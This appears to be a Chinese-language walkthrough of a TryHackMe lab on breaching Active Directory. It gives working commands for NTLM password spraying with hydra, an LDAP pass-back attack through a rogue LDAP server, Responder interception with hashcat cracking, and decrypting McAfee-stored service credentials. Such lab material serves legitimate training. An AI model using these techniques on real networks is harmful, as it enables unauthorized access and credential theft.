获取第一组 AD 凭据的两种流行方法是开源情报 (OSINT) 和网络钓鱼。
HaveIBeenPwned和DeHashed等网站提供了出色的平台,可以确定某人的信息(例如工作电子邮件)是否曾参与公开的数据泄露事件。
https://haveibeenpwned.com/
https://stackoverflow.com/
也有可能将凭据泄露在Github或其他的公共论坛如:Stack Overflow
https://github.com/
https://stackoverflow.com/
网络钓鱼通常会诱使用户在恶意网页上提供他们的凭据,或者要求他们运行会在后台安装远程访问木马 (RAT) 的特定应用程序。
我们通过前面的 社工 获得了一些相当的信息,以及权限。现在我们拥有某个销售员工的权限。那么如何扩大成功范围呢。
新技术 LAN Manager (NTLM) 是一套安全协议,用于在AD中验证用户身份。通过使用称为 NetNTLM 的基于质询-响应的方案,NTLM 可用于身份验证。这种身份验证机制被网络上的服务大量使用。但是,使用 NetNTLM 的服务也可以暴露在互联网上。以下是一些流行的示例:
NetNTLM,通常也称为 Windows 身份验证或简称为 NTLM 身份验证,允许应用程序在客户端和AD之间扮演中间人的角色。所有身份验证材料都以质询的形式转发给域控制器,如果成功完成,应用程序将对用户进行身份验证。
这意味着应用程序代表用户进行身份验证,而不是直接在应用程序本身上对用户进行身份验证。这可以防止应用程序存储AD凭据,该凭据应仅存储在域控制器上。这个过程如下图所示:
发现内网之间还存在一个WEB应用,但是进行了身份验证
使用hydra工具进行爆破
hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'
应用程序可以使用的另一种AD身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证与 NTLM 身份验证类似。但是,通过 LDAP 身份验证,应用程序可以直接验证用户的凭据。该应用程序有一对 AD 凭据,可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。
LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的流行机制。这些包括应用程序和系统,例如:
如果这些应用程序或服务中的任何一个暴露在互联网上,则可以使用与针对 NTLM 身份验证系统的攻击相同类型的攻击。然而,由于使用 LDAP 身份验证的服务需要一组AD凭据,因此它开辟了额外的攻击途径。本质上,我们可以尝试恢复服务使用的 AD 凭据,以获得对 AD 的经过身份验证的访问。通过LDAP进行认证的流程如下所示:
如果可以在正确的主机(例如 Gitlab 服务器)上立足,那么恢复这些AD凭据可能就像读取配置文件一样简单。这些凭据通常以纯文本形式存储在配置文件中,因为安全模型依赖于保持位置和存储配置文件的安全而不是其内容。
然而,可以针对 LDAP 身份验证机制执行另一种非常有趣的攻击,称为 LDAP 回传攻击。这是一种针对网络设备(例如打印机)的常见攻击,当您获得对内部网络的初始访问权限时,例如在会议室中插入流氓设备。
当我们访问指定 LDAP 参数的设备配置时,可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如admin:admin 或 admin:password。在这里,我们无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。
网络中有一台网络打印机,管理网站甚至不需要凭据
我们有用户名,但没有密码。但是,当我们按测试设置时,我们可以看到向域控制器发出身份验证请求以测试 LDAP 凭据。我们可以利用此漏洞让打印机连接到我们,这会泄露凭据。由于LDAP的默认端口上389,在本地监听 389端口
nc -lvp 389
响应 supportedCapabilities 说明有问题。本质上,在打印机发送凭据之前,它会尝试协商 LDAP 身份验证方法详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。
如果身份验证方法太安全,则凭据将不会以明文形式传输。对于某些身份验证方法,凭据根本不会通过网络传输!所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个恶意 LDAP 服务器并对其进行不安全的配置,以确保凭证以明文形式发送。
使用以下命令安装 OpenLDAP:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
使用以下命令可以重新配置 LDAP 服务
dpkg-reconfigure -p low slapd
如果要跳过服务器配置,请确保在请求时按 :
对于DNS域名,您需要提供我们的目标域,即za.tryhackme.com:
组织名称也使用相同的名称:
提供任何管理员密码:
对于最后两个选项,请确保清除时数据库不会被删除:
在创建新数据库文件之前移动旧数据库文件:
在使用恶意 LDAP 服务器之前,我们需要通过降级支持的身份验证机制来使其容易受到攻击。我们希望确保我们的 LDAP 服务器仅支持 PLAIN 和 LOGIN 身份验证方法。为此,我们需要创建一个新的 ldif 文件,并使用以下内容进行调用:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
该文件具有以下属性:
现在我们可以使用 ldif 文件来修补我们的 LDAP 服务器,方法如下:
service slapd start
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
当我们单击“测试设置”时,身份验证将以明文形式进行。如果正确配置了流氓 LDAP 服务器并且它正在降级通信,您将收到以下错误:“此专有名称包含无效语法”。如果收到此错误,您可以使用 tcpdump 通过以下命令捕获凭据:
tcpdump -SX -i breachad tcp port 389
攻击者充当了一个第三人,截获流量,重放流量
responder -I 网卡名
当受害者访问以上 ON开启的服务的时候,攻击者可以拦截凭据,从而获得凭据
这些凭据是的哈希类型是NetNTLMv2
hashcat -m 5600 hash.txtpasswordlist.txt --force
假设您很幸运地造成了一次破坏,使您可以访问组织网络上的主机。在这种情况下,配置文件是尝试恢复AD凭据的绝佳途径。根据被破坏的主机,各种配置文件可能具有枚举价值:
可以使用多个枚举脚本,下面是工具:
https://github.com/GhostPack/Seatbelt
ma.db 文件存储在固定位置:
C:\ProgramData\McAfee\Agent\DB
scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .
使用一个名为 sqlitebrowser 的工具。我们可以使用以下命令打开数据库:
sqlitebrowser ma.db
选择浏览数据选项并选中AGENT_REPOSITORIES 表:
我们知道服务帐户用户名是,svcAV并且我们有一个存储为 Base64 字符串的加密密码。
工具下载地址:
https://github.com/funoverip/mcafee-sitelist-pwd-decryption
模块安装
pip3 install pycryptodome
python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==